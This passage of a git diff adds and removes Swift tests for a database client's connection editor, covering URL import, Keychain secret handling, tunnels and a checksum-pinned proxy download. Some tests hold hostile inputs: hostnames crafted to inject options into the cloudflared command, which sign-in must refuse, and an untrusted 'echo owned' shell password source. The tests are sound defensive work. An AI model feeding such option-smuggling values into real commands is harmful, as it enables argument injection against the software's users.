[.pluginField("snowflakePassword")]) + store.testRun = TestRun( + id: UUID(), + testId: testId, + fingerprint: ConnectionEditorEngine.testFingerprint(store.draft, store.traits, originalTraits: nil, store.context) + ) + store.testState = .running + + store.retype(to: .sqlite) + #expect(store.testState == .idle) + #expect(store.testRun == nil) + store.teardown() + #expect(fixture.secretKeys(for: testId).isEmpty) + } + + @Test("Production defaults Safe Mode to Alert for a new connection until the user picks a level") + func productionDefaultInStore() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.setEnvironment(.production) + #expect(store.effectiveSafeModeLevel == .alert) + store.setEnvironment(.development) + #expect(store.effectiveSafeModeLevel == .silent) + store.setSafeModeLevel(.safeMode) + store.setEnvironment(.production) + #expect(store.effectiveSafeModeLevel == .safeMode) + } + + // MARK: - Transports + + @Test("Picking Cloudflare on a new connection starts the cloudflared lookup") + func cloudflaredDetectionStartsOnSelection() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + #expect(store.cloudflaredDetection == .notChecked) + store.selectTransport(.cloudflare) + #expect(store.cloudflaredDetection != .notChecked) + } + + // MARK: - URL + + @Test("Copy as URL carries no password and no secure field") + func copiedURLHasNoSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + let secureIds = store.traits.declaredSecureFieldIds + store.update { + $0.name = "Orders" + $0.host = "db.example.com" + $0.credentials.username = "app" + $0.credentials.password = "hunter2" + for fieldId in secureIds { + $0.fieldValues[fieldId] = "secret-\(fieldId)" + } + } + let url = store.connectionURLForCopy() + #expect(url.contains("db.example.com")) + #expect(!url.contains("hunter2")) + #expect(!url.contains("secret-")) + } + + @Test("A paste on a saved connection keeps Safe Mode and the name, and Undo restores the whole draft") + func pasteOnSavedConnection() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.preferredSafeModeLevel = .safeMode + fixture.seed([connection]) + fixture.storage.savePassword("original", for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + let before = store.draft + + let outcome = store.applyPastedURL("postgresql://ops:pw@db2.example.com/orders?safemodelevel=0&name=Other", undoManager: nil) + guard case .applied(let notice) = outcome else { + Issue.record("Not applied: \(outcome)") + return + } + #expect(notice.changes.contains(String(localized: "Host"))) + #expect(store.draft.host == "db2.example.com") + #expect(store.draft.credentials.password == "pw") + #expect(store.draft.name == "Orders") + #expect(store.draft.safety.safeModeLevel == .safeMode) + + store.undoPastedURL() + #expect(store.draft == before) + #expect(store.pastedURLNotice == nil) + } + + @Test("Typing into Host one character at a time never fills the form") + func typingIntoHostDoesNotFill() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { $0.host = "" } + var typed = "" + for character in "postgresql://app@db.example.com/orders" { + typed.append(character) + store.setHost(typed, undoManager: nil) + } + #expect(store.draft.host == "postgresql://app@db.example.com/orders") + #expect(store.pastedURLNotice == nil) + #expect(store.draft.database.isEmpty) + } + + // The Host field still showed the URL and handed it back, and the second apply found nothing to list. + @Test("A paste into Host lists what it filled, and the URL handed back again changes nothing") + func pastedURLHandedBackIsIgnored() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + let url = "postgresql://app@db.example.com:5432/orders" + + store.setHost(url, undoManager: nil) + let notice = try #require(store.pastedURLNotice) + for filled in [String(localized: "Host"), String(localized: "Database"), String(localized: "Username")] { + #expect(notice.changes.contains(filled)) + } + #expect(notice.message != String(localized: "The URL matches this connection.")) + + store.setHost(url, undoManager: nil) + #expect(store.pastedURLNotice == notice) + #expect(store.draft.host == "db.example.com") + #expect(store.draft.database == "orders") + } + + @Test("A URL without a name leaves Name empty, so the suggestion names it and follows the host") + func pastedURLNameFollowsTheSuggestion() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + + store.setHost("postgresql://app@db.example.com/orders", undoManager: nil) + #expect(store.draft.name.isEmpty) + #expect(store.namePrompt == ConnectionEditorEngine.suggestedName(store.draft, store.traits)) + #expect(store.namePrompt == "db.example.com/orders") + + store.update { $0.host = "127.0.0.1" } + #expect(store.namePrompt == "127.0.0.1/orders") + + let imported = try ConnectionEditorStoreFixture() + .makeStore(.new(type: nil, parsedURL: try ConnectionURLParser.parse("postgresql://app@db.example.com/orders").get())) + #expect(imported.effectiveName == "db.example.com/orders") + } + + @Test("A driver's unreachable-server text reads as Server not reachable, with what to check and no tab indents") + func unreachableServerFailure() { + let refused = NSError(domain: "PostgreSQL", code: 0, userInfo: [ + NSLocalizedDescriptionKey: "connection to server at \"127.0.0.1\", port 5999 failed: Connection refused\n" + + "\tIs the server running on that host and accepting TCP/IP connections?", + ]) + let unknownHost = NSError(domain: "PostgreSQL", code: 0, userInfo: [ + NSLocalizedDescriptionKey: "could not translate host name \"db.example.com\" to address: " + + "nodename nor servname provided, or not known", + ]) + let connection = DatabaseConnection(name: "Orders", type: .postgresql) + + for error in [refused, unknownHost] { + let failure = ConnectionEditorStore.failure(for: error, connection: connection) + #expect(failure.step == .network) + #expect(failure.summary == String(localized: "Server not reachable")) + #expect(failure.suggestion == ConnectionTestFailureStep.network.suggestion) + #expect(!failure.message.contains("\t")) + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift new file mode 100644 index 0000000000..ecfaf482f1 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTransportTests.swift @@ -0,0 +1,265 @@ +// +// ConnectionEditorStoreTransportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro +import TableProTestSupport + +@MainActor +struct ConnectionEditorStoreTransportTests { + private func passTest(_ store: ConnectionEditorStore) -> ConnectionTestState { + store.lastTestedFingerprint = ConnectionEditorEngine.testFingerprint( + store.draft, store.traits, originalTraits: store.originalTraits, store.context + ) + let state = ConnectionTestState.succeeded( + ConnectionTestSuccess(typeName: store.traits.displayName, serverVersion: nil, elapsedMilliseconds: 12, warning: nil) + ) + store.testState = state + return state + } + + private func makeStore(_ fixture: ConnectionEditorStoreFixture, download: CloudSQLProxyDownload) -> ConnectionEditorStore { + ConnectionEditorStore( + request: .new(type: .postgresql, parsedURL: nil), + services: fixture.services, + recentConnections: fixture.recents, + listPreferences: fixture.listPreferences, + cloudSQLProxyDownload: download + ) + } + + // MARK: - Test result + + @Test("Selecting a transport clears a passing test result") + func selectionInvalidatesTestResult() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + let passed = passTest(store) + #expect(store.testState == passed) + + store.selectTransport(.ssh) + + #expect(store.testState == .idle) + } + + @Test("Choosing an endpoint clears a passing test result") + func endpointInvalidatesTestResult() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + _ = passTest(store) + + store.selectEndpoint(.localSocket) + + #expect(store.testState == .idle) + } + + // MARK: - Two stored transports + + // An older build could store SSH and SOCKS together; the editor shows SSH. + private func seedSSHAndSOCKS(_ fixture: ConnectionEditorStoreFixture) -> DatabaseConnection { + var connection = DatabaseConnection( + name: "Legacy", host: "db.internal", port: 5_432, database: "orders", username: "app", type: .postgresql + ) + let ssh = SSHConfiguration(enabled: true, host: "bastion.example.com") + connection.sshConfig = ssh + connection.sshTunnelMode = .inline(ssh) + connection.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + fixture.seed([connection]) + return connection + } + + @Test("A record stored with SSH and SOCKS saves a rename with SSH alone, as the editor shows") + func twoStoredTransportsSaveAsShown() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = seedSSHAndSOCKS(fixture) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.transport == .ssh) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.sshTunnelMode == connection.sshTunnelMode) + #expect(saved.socksProxyMode == .disabled) + #expect(saved.activeTunnelKind == .ssh) + } + + @Test("Test dials a record stored with SSH and SOCKS through SSH, as the editor shows") + func twoStoredTransportsTestThroughSSH() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = seedSSHAndSOCKS(fixture) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + let tested = store.testRecord(testId: UUID()) + + #expect(tested.socksProxyMode == .disabled) + #expect(tested.activeTunnelKind == .ssh) + } + + @Test("A switch to SOCKS made elsewhere on a record stored with SSH and SOCKS survives a rename") + func concurrentSwitchOnTwoStoredTransportsWins() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = seedSSHAndSOCKS(fixture) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.sshTunnelMode = .disabled + elsewhere.sshConfig.enabled = false + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.sshTunnelMode == .disabled) + #expect(saved.socksProxyMode == connection.socksProxyMode) + #expect(saved.activeTunnelKind == .socksProxy) + } + + // MARK: - Host list over a tunnel + + @Test("Redis Cluster and Kafka advice never speaks of a replica set") + func clusterAndBrokerAdviceIsNotAboutReplicaSets() throws { + let cluster = try #require(TunnelHostListAdvice.message(fieldId: "redisClusterHosts", hosts: "n1.example:7000,n2.example:7001")) + #expect(!cluster.localizedCaseInsensitiveContains("replica set")) + let kafka = try #require(TunnelHostListAdvice.message(fieldId: "kafkaBootstrapServers", hosts: "b1.example:9092,b2.example:9092")) + #expect(!kafka.localizedCaseInsensitiveContains("replica set")) + } + + // MARK: - Tunnel command preview + + @Test("A cleared Port previews the engine's default port, which is what connects") + func clearedPortPreviewsDefaultPort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.tunnelCommand) + store.update { + $0.tunnelCommand.config.method = .kubectl + $0.tunnelCommand.config.kubernetesResource = "service/postgres" + } + store.setPort("") + + let preview = try #require(store.tunnelCommandPreview) + + #expect(preview.contains("{port}:5432")) + #expect(!preview.contains(":0")) + } + + @Test("A host-list connection previews the first listed node, which is what connects") + func hostListPreviewsFirstListedNode() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .redis, parsedURL: nil)) + store.selectTransport(.tunnelCommand) + store.update { $0.host = "" } + store.setFieldValue("cluster", for: "redisMode") + store.setFieldValue("a.example:7000,b.example:7001", for: "redisClusterHosts") + store.update { + $0.tunnelCommand.config.method = .custom + $0.tunnelCommand.config.command = "forward {port} {host}:{remotePort}" + } + + let preview = try #require(store.tunnelCommandPreview) + + #expect(preview == "forward '{port}' a.example:7000") + } + + // MARK: - Cloud SQL Auth Proxy binary + + @Test("The editor shows the shared download, and its Cancel stops it") + func editorFollowsSharedDownload() async throws { + let fixture = try ConnectionEditorStoreFixture() + let dir = try TestProxyDownload.temporaryDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let record = DownloadRecord() + let download = CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( + baseDirectory: dir, + expectedSHA256: TestProxyDownload.pins(Data("pinned build".utf8)), + download: { _, progress in + record.started() + await progress(0.5) + await suspendUntilCancelled() + record.sawCancel() + throw URLError(.cancelled) + } + )) + let store = makeStore(fixture, download: download) + + store.downloadCloudSQLProxy() + try await waitUntil { store.cloudSQLProxyDownloadPhase == .downloading(fraction: 0.5) } + #expect(store.cloudSQLProxyDownloadPhase.isDownloading) + + store.cancelCloudSQLProxyDownload() + #expect(store.cloudSQLProxyDownloadPhase == .idle) + try await waitUntil { record.wasCancelled } + } + + @Test( + "Only a managed binary that passes its checksum shows as detected", + .enabled(if: CLIExecutableFinder.findExecutable("cloud-sql-proxy") == nil, "a system cloud-sql-proxy wins over the managed one") + ) + func detectedNeedsACurrentManagedBinary() async throws { + let fixture = try ConnectionEditorStoreFixture() + let dir = try TestProxyDownload.temporaryDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let bytes = Data("pinned build".utf8) + let binary = dir.appendingPathComponent("cloud-sql-proxy") + try Data("altered".utf8).write(to: binary) + try FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: binary.path) + try CloudSQLProxyBinaryManager.pinnedVersion + .write(to: dir.appendingPathComponent("version.txt"), atomically: true, encoding: .utf8) + let store = makeStore(fixture, download: CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( + baseDirectory: dir, + expectedSHA256: TestProxyDownload.pins(bytes), + download: TestProxyDownload.serving(bytes, into: dir) + ))) + + store.detectCloudSQLProxy() + try await waitUntil { store.cloudSQLProxyDetection != .checking } + #expect(store.cloudSQLProxyDetection == .notFound) + + try bytes.write(to: binary) + store.detectCloudSQLProxy() + try await waitUntil { store.cloudSQLProxyDetection != .checking } + #expect(store.cloudSQLProxyDetection == .found(binary.path)) + } + + // MARK: - Cloudflare browser sign-in + + @Test("Browser sign-in refuses a hostname cloudflared would read as an option or split", arguments: [ + "-h", "--help", "db.example.com --url x", "db\texample.com", "db.example.com\u{202E}", + ]) + func signInRefusesFlagLikeHostname(hostname: String) throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.cloudflare.binaryPath = "/usr/bin/true" + $0.cloudflare.accessHostname = hostname + } + + store.signInWithCloudflare() + + #expect(store.cloudflareSignInError != nil) + } + + @Test("Browser sign-in starts for a plain hostname") + func signInStartsForPlainHostname() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.cloudflare.binaryPath = "/usr/bin/true" + $0.cloudflare.accessHostname = "db.example.com" + } + + store.signInWithCloudflare() + + #expect(store.cloudflareSignInError == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreURLImportTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreURLImportTests.swift new file mode 100644 index 0000000000..8258c337f9 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreURLImportTests.swift @@ -0,0 +1,132 @@ +// +// ConnectionEditorStoreURLImportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreURLImportTests { + private func importing(_ url: String, into fixture: ConnectionEditorStoreFixture) throws -> ConnectionEditorStore { + fixture.makeStore(.new(type: nil, parsedURL: try ConnectionURLParser.parse(url).get())) + } + + private func recordEdits(_ store: ConnectionEditorStore) -> ConnectionFormEdits { + ConnectionEditorEngine.edits(store.draft, store.traits, originalTraits: store.originalTraits, store.context) + } + + @Test("Secrets a MongoDB connection string carries reach Keychain-backed fields, never plain options") + func mongoURISecretsStayOutOfPlainOptions() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing( + "mongodb://app:s3cret@db.example.com:27017/orders?tls=true" + + "&tlsCertificateKeyFile=%2FUsers%2Falice%2Fclient.pem&tlsCertificateKeyFilePassword=hunter2" + + "&authMechanism=MONGODB-AWS&authMechanismProperties=AWS_SESSION_TOKEN%3AFQoGZXIvYXdz" + + "&proxyPassword=proxy-secret&retryWrites=true", + into: fixture + ) + let token = "mongoAWSSessionToken" + let formValues = store.draft.fieldValues.filter { $0.key != token } + let recordValues = recordEdits(store).additionalFields + + #expect(store.draft.ssl.clientCertPath == "/Users/alice/client.pem") + #expect(store.draft.ssl.clientKeyPassphrase == "hunter2") + #expect(store.draft.ssl.clientKeyPath == "/Users/alice/client.pem") + #expect(store.draft.fieldValues[token] == "FQoGZXIvYXdz") + #expect(ConnectionEditorEngine.secureFieldsOwnedByForm(store.traits, originalTraits: store.originalTraits) + .contains { $0.id == token }) + let plan = ConnectionEditorEngine.secretPlan(store.draft, store.traits, originalTraits: store.originalTraits, store.context) + #expect(plan.writes(of: .pluginField(token)) == "FQoGZXIvYXdz") + #expect(plan.writes(of: .sslClientKeyPassphrase) == "hunter2") + #expect(recordValues[token] == nil) + for plain in [formValues, recordValues] { + #expect(!plain.values.contains("hunter2")) + #expect(!plain.values.contains { $0.contains("FQoGZXIvYXdz") }) + #expect(!plain.values.contains("proxy-secret")) + #expect(plain["mongoParam_retryWrites"] == "true") + } + } + + @Test("sslmode=verify-full opens the form on Verify Identity") + func verifyFullKeepsIdentityVerification() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgresql://u@db.example.com/app?sslmode=verify-full", into: fixture) + #expect(store.draft.ssl.mode == .verifyIdentity) + } + + @Test("sslmode=verify-ca opens the form on Verify CA") + func verifyCaKeepsCertificateVerification() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgresql://u@db.example.com/app?sslmode=verify-ca", into: fixture) + #expect(store.draft.ssl.mode == .verifyCa) + } + + @Test( + "ssl=1 and ssl=require turn TLS on as ssl=true does", + arguments: [ + "postgresql://u@db.example.com/app", + "mysql://root@db.example.com/app", + "redis://cache.example.com" + ], + ["1", "require"] + ) + func sslFlagSpellingsTurnTLSOn(_ base: String, _ value: String) throws { + let fixture = try ConnectionEditorStoreFixture() + let spelled = try importing("\(base)?ssl=\(value)", into: fixture) + let canonical = try importing("\(base)?ssl=true", into: fixture) + #expect(spelled.draft.ssl.mode == canonical.draft.ssl.mode) + #expect(spelled.draft.ssl.mode == .required) + } + + @Test("A bracketed IPv6 host reaches the form bare, as a driver dials it") + func ipv6HostReachesTheFormBare() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgres://alice@[2001:db8::5]:6000/sales", into: fixture) + #expect(store.draft.host == "2001:db8::5") + #expect(store.draft.portText == "6000") + } + + @Test("A libSQL URL with an IPv6 host rebuilds a database URL that keeps its brackets") + func libSQLIPv6KeepsBrackets() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("libsql://[::1]:8443", into: fixture) + #expect(store.draft.fieldValues["databaseUrl"] == "https://[::1]:8443") + } + + @Test("Host, credentials and database from the URL reach the form") + func connectionFieldsReachTheForm() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing("postgres://alice:p%40ss@db.example.com:6000/sales", into: fixture) + #expect(store.draft.type == .postgresql) + #expect(store.traits.type == .postgresql) + #expect(store.draft.host == "db.example.com") + #expect(store.draft.portText == "6000") + #expect(store.draft.database == "sales") + #expect(store.draft.credentials.username == "alice") + #expect(store.draft.credentials.password == "p@ss") + } + + @Test( + "A socket URL opens the form on Socket with its path", + arguments: [ + "mysql://root@localhost/local?socket=%2Ftmp%2Fmysql.sock", + "mariadb://root@/local?unix_socket=/tmp/mysql.sock" + ] + ) + func socketURLSelectsSocket(_ url: String) throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try importing(url, into: fixture) + #expect(store.draft.endpoint == .localSocket) + #expect(store.draft.localSocketPath == "/tmp/mysql.sock") + #expect(store.draft.transport == nil) + #expect(store.draft.fieldValues[MySQLLocalSocket.fieldKey] == nil) + + let edits = recordEdits(store) + #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneExtensionTests.swift b/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneExtensionTests.swift deleted file mode 100644 index d169f46202..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneExtensionTests.swift +++ /dev/null @@ -1,72 +0,0 @@ -// -// AdvancedPaneExtensionTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct AdvancedPaneExtensionTests { - private let vec = LoadableExtension(path: "/opt/homebrew/lib/vec0.dylib") - private let spatialite = LoadableExtension(path: "/opt/homebrew/lib/mod_spatialite.dylib") - - private func coordinator(editing connection: DatabaseConnection) throws -> ConnectionFormCoordinator { - try #require( - PluginManager.shared.additionalConnectionFields(for: .sqlite) - .contains { $0.content == .loadableExtensions } - ) - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = .sqlite - coordinator.advanced.load(from: connection) - return coordinator - } - - private func sqlite(with extensions: [LoadableExtension]) -> DatabaseConnection { - DatabaseConnection( - name: "Vectors", - type: .sqlite, - additionalFields: [LoadableExtensionList.fieldId: LoadableExtensionList.encode(extensions)] - ) - } - - @Test("The Extensions list is its own section, not a row among the driver options") - func extensionFieldIsNotADriverRow() throws { - let form = try coordinator(editing: sqlite(with: [])) - #expect(form.advanced.extensionListField?.id == LoadableExtensionList.fieldId) - #expect(!form.advanced.advancedFields.contains { $0.id == LoadableExtensionList.fieldId }) - } - - @Test("Saving an imported list untouched approves none of it") - func untouchedListApprovesNothing() throws { - let form = try coordinator(editing: sqlite(with: [vec])) - #expect(form.advanced.initialExtensions == [vec]) - #expect(form.advanced.editedExtensions.isEmpty) - } - - @Test("Only the files added in this form count as chosen on this Mac") - func addedFilesAreEdited() throws { - let form = try coordinator(editing: sqlite(with: [vec])) - form.advanced.additionalFieldValues[LoadableExtensionList.fieldId] = - LoadableExtensionList.encode([vec, spatialite]) - #expect(form.advanced.editedExtensions == [spatialite]) - } - - @Test("Changing a file's entry point makes it a new choice") - func changedEntryPointIsEdited() throws { - let form = try coordinator(editing: sqlite(with: [vec])) - let renamed = LoadableExtension(path: vec.path, entryPoint: "sqlite3_vec_init") - form.advanced.additionalFieldValues[LoadableExtensionList.fieldId] = LoadableExtensionList.encode([renamed]) - #expect(form.advanced.editedExtensions == [renamed]) - } - - @Test("An invalid list blocks saving with the reason") - func invalidListIsAValidationIssue() throws { - let form = try coordinator(editing: sqlite(with: [])) - form.advanced.additionalFieldValues[LoadableExtensionList.fieldId] = - LoadableExtensionList.encode([LoadableExtension(path: "vec0.dylib")]) - #expect(form.advanced.validationIssues.contains { $0.contains("vec0.dylib") }) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneViewModelTests.swift b/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneViewModelTests.swift deleted file mode 100644 index bf5abddb6b..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ViewModels/AdvancedPaneViewModelTests.swift +++ /dev/null @@ -1,93 +0,0 @@ -// -// AdvancedPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import TableProPluginKit -@testable import TablePro -import Testing - -@MainActor -struct AdvancedPaneViewModelTests { - @Test("Loads external access from the connection") - func loadsExternalAccessFromConnection() { - let connection = DatabaseConnection(name: "Test", externalAccess: .readWrite) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.externalAccess == .readWrite) - } - - @Test("Does not leak external access into plugin additional fields") - func doesNotWriteExternalAccessIntoAdditionalFields() { - let viewModel = AdvancedPaneViewModel() - viewModel.externalAccess = .readWrite - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields["externalAccess"] == nil) - } - - @Test("Lists the connection's always-allowed tools in name order with nothing forgotten") - func loadsAlwaysAllowedTools() { - let connection = DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"]) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.aiAlwaysAllowedTools == ["execute_query", "list_tables"]) - #expect(viewModel.revokedAIAlwaysAllowedTools.isEmpty) - } - - @Test("Forget takes a tool off the list and into the revoked set, and loading again drops it") - func forgetMovesAToolIntoTheRevokedSet() { - let connection = DatabaseConnection(name: "Staging", aiAlwaysAllowedTools: ["list_tables", "execute_query"]) - let viewModel = AdvancedPaneViewModel() - viewModel.load(from: connection) - - viewModel.forgetAlwaysAllowed("execute_query") - - #expect(viewModel.aiAlwaysAllowedTools == ["list_tables"]) - #expect(viewModel.revokedAIAlwaysAllowedTools == ["execute_query"]) - - viewModel.load(from: connection) - - #expect(viewModel.aiAlwaysAllowedTools == ["execute_query", "list_tables"]) - #expect(viewModel.revokedAIAlwaysAllowedTools.isEmpty) - } - - @Test("Shows a Redis database index saved as db4 as the number the stepper takes") - func loadsDbPrefixedRedisIndexAsANumber() throws { - try #require( - PluginManager.shared.additionalConnectionFields(for: .redis) - .contains { $0.id == "redisDatabase" && $0.section == .advanced } - ) - let connection = DatabaseConnection( - name: "cache", - type: .redis, - additionalFields: ["redisDatabase": "db4"] - ) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.additionalFieldValues["redisDatabase"] == "4") - } - - @Test("Shows the Redis database a synced connection names when no index was saved") - func loadsRedisIndexFromTheDatabaseName() throws { - try #require( - PluginManager.shared.additionalConnectionFields(for: .redis) - .contains { $0.id == "redisDatabase" && $0.section == .advanced } - ) - let connection = DatabaseConnection(name: "cache", database: "db7", type: .redis) - let viewModel = AdvancedPaneViewModel() - - viewModel.load(from: connection) - - #expect(viewModel.additionalFieldValues["redisDatabase"] == "7") - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/ViewModels/AuthPanePasswordSourceTests.swift b/apple/TableProTests/Views/ConnectionForm/ViewModels/AuthPanePasswordSourceTests.swift deleted file mode 100644 index b6ece9b16d..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ViewModels/AuthPanePasswordSourceTests.swift +++ /dev/null @@ -1,112 +0,0 @@ -import Foundation -@testable import TablePro -import Testing - -@MainActor -struct AuthPanePasswordSourceTests { - private let suite: EphemeralDefaults - - init() throws { - suite = try EphemeralDefaults() - } - - private func makeStorage() -> ConnectionStorage { - let fileURL = FileManager.default.temporaryDirectory - .appendingPathComponent("tablepro-tests") - .appendingPathComponent(UUID().uuidString) - .appendingPathComponent("connections.json") - try? FileManager.default.createDirectory( - at: fileURL.deletingLastPathComponent(), - withIntermediateDirectories: true - ) - return ConnectionStorage(fileURL: fileURL, userDefaults: suite.defaults, keychain: InMemoryKeychain()) - } - - private func loadedModel(source: PasswordSource?, configure: (inout DatabaseConnection) -> Void = { _ in }) -> AuthPaneViewModel { - var connection = TestFixtures.makeConnection() - connection.username = "app" - connection.passwordSource = source - configure(&connection) - let model = AuthPaneViewModel() - model.load(from: connection, storage: makeStorage()) - return model - } - - @Test("The form knows where a connection's password comes from") - func loadsThePasswordSource() { - let source = PasswordSource.command(shell: "op read op://vault/db/password") - let model = loadedModel(source: source) - - #expect(model.passwordSource == source) - #expect(model.passwordSourceInUse == source) - } - - @Test("A prompt or a linked profile overrides the connection's own source") - func promptAndProfileOverrideTheSource() { - let model = loadedModel(source: .env(variable: "DB_PASSWORD")) - - model.promptForPassword = true - #expect(model.passwordSourceInUse == nil) - - model.promptForPassword = false - model.credentialMode = .profile(id: UUID()) - #expect(model.passwordSourceInUse == nil) - } - - @Test("Saving a source-backed connection as a profile keeps the source") - func promotionKeepsATrustedSource() { - let source = PasswordSource.file(path: "~/.secrets/db") - let model = loadedModel(source: source) - - #expect(model.profileFromCurrentCredentials(sourceStoreIsTrusted: true).passwordMode == .source(source)) - } - - @Test("A source from a connections file something else changed becomes a prompt, never a profile source") - func promotionDropsAnUntrustedSource() { - let model = loadedModel(source: .command(shell: "echo owned")) - - #expect(model.profileFromCurrentCredentials(sourceStoreIsTrusted: false).passwordMode == .prompt) - } - - @Test("Saving a ~/.pgpass connection as a profile keeps ~/.pgpass") - func promotionKeepsPgpass() { - let model = loadedModel(source: nil) - model.additionalFieldValues["usePgpass"] = "true" - - #expect(model.profileFromCurrentCredentials(sourceStoreIsTrusted: true).passwordMode == .pgpass) - } - - @Test("Test Connection asks for the password when Prompt for password is on") - func testConnectionCarriesThePromptFlag() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.auth.promptForPassword = true - - let connection = coordinator.connectionForTest() - - #expect(connection.promptForPassword) - #expect(ConnectionCredentialResolver.promptsForPassword(connection)) - } - - @Test("Test Connection runs the connection's source, not a Keychain password left beside it") - func testConnectionUsesTheSource() { - let source = PasswordSource.env(variable: "DB_PASSWORD") - var connection = TestFixtures.makeConnection() - connection.passwordSource = source - let storage = makeStorage() - #expect(storage.savePassword("stale", for: connection.id)) - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.auth.load(from: connection, storage: storage) - - #expect(coordinator.auth.password == "stale") - #expect(coordinator.connectionForTest().passwordSource == source) - } - - @Test("A connection with only a source can still be saved as a profile") - func sourceAloneIsPromotable() { - let model = loadedModel(source: .env(variable: "REDIS_PASSWORD")) { connection in - connection.username = "" - } - - #expect(model.hasPromotableCredentials) - } -} diff --git a/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift b/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift index 0665b88c19..d9a5ec70ba 100644 --- a/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift +++ b/apple/TableProTests/Views/SQLCodeFieldThemeTests.swift @@ -164,40 +164,49 @@ struct SQLCodeFieldThemeTests { // MARK: - Connection form fields - private func startupEditor(_ style: TextValueEditor.Style) throws -> (NSWindow, NSTextView) { + // The fixture owns the store's storage, so it lives as long as the window. + private func connectionEditorField( + _ language: EditorCodeLanguage, + row: BuiltInRow + ) throws -> (ConnectionEditorStoreFixture, NSWindow, 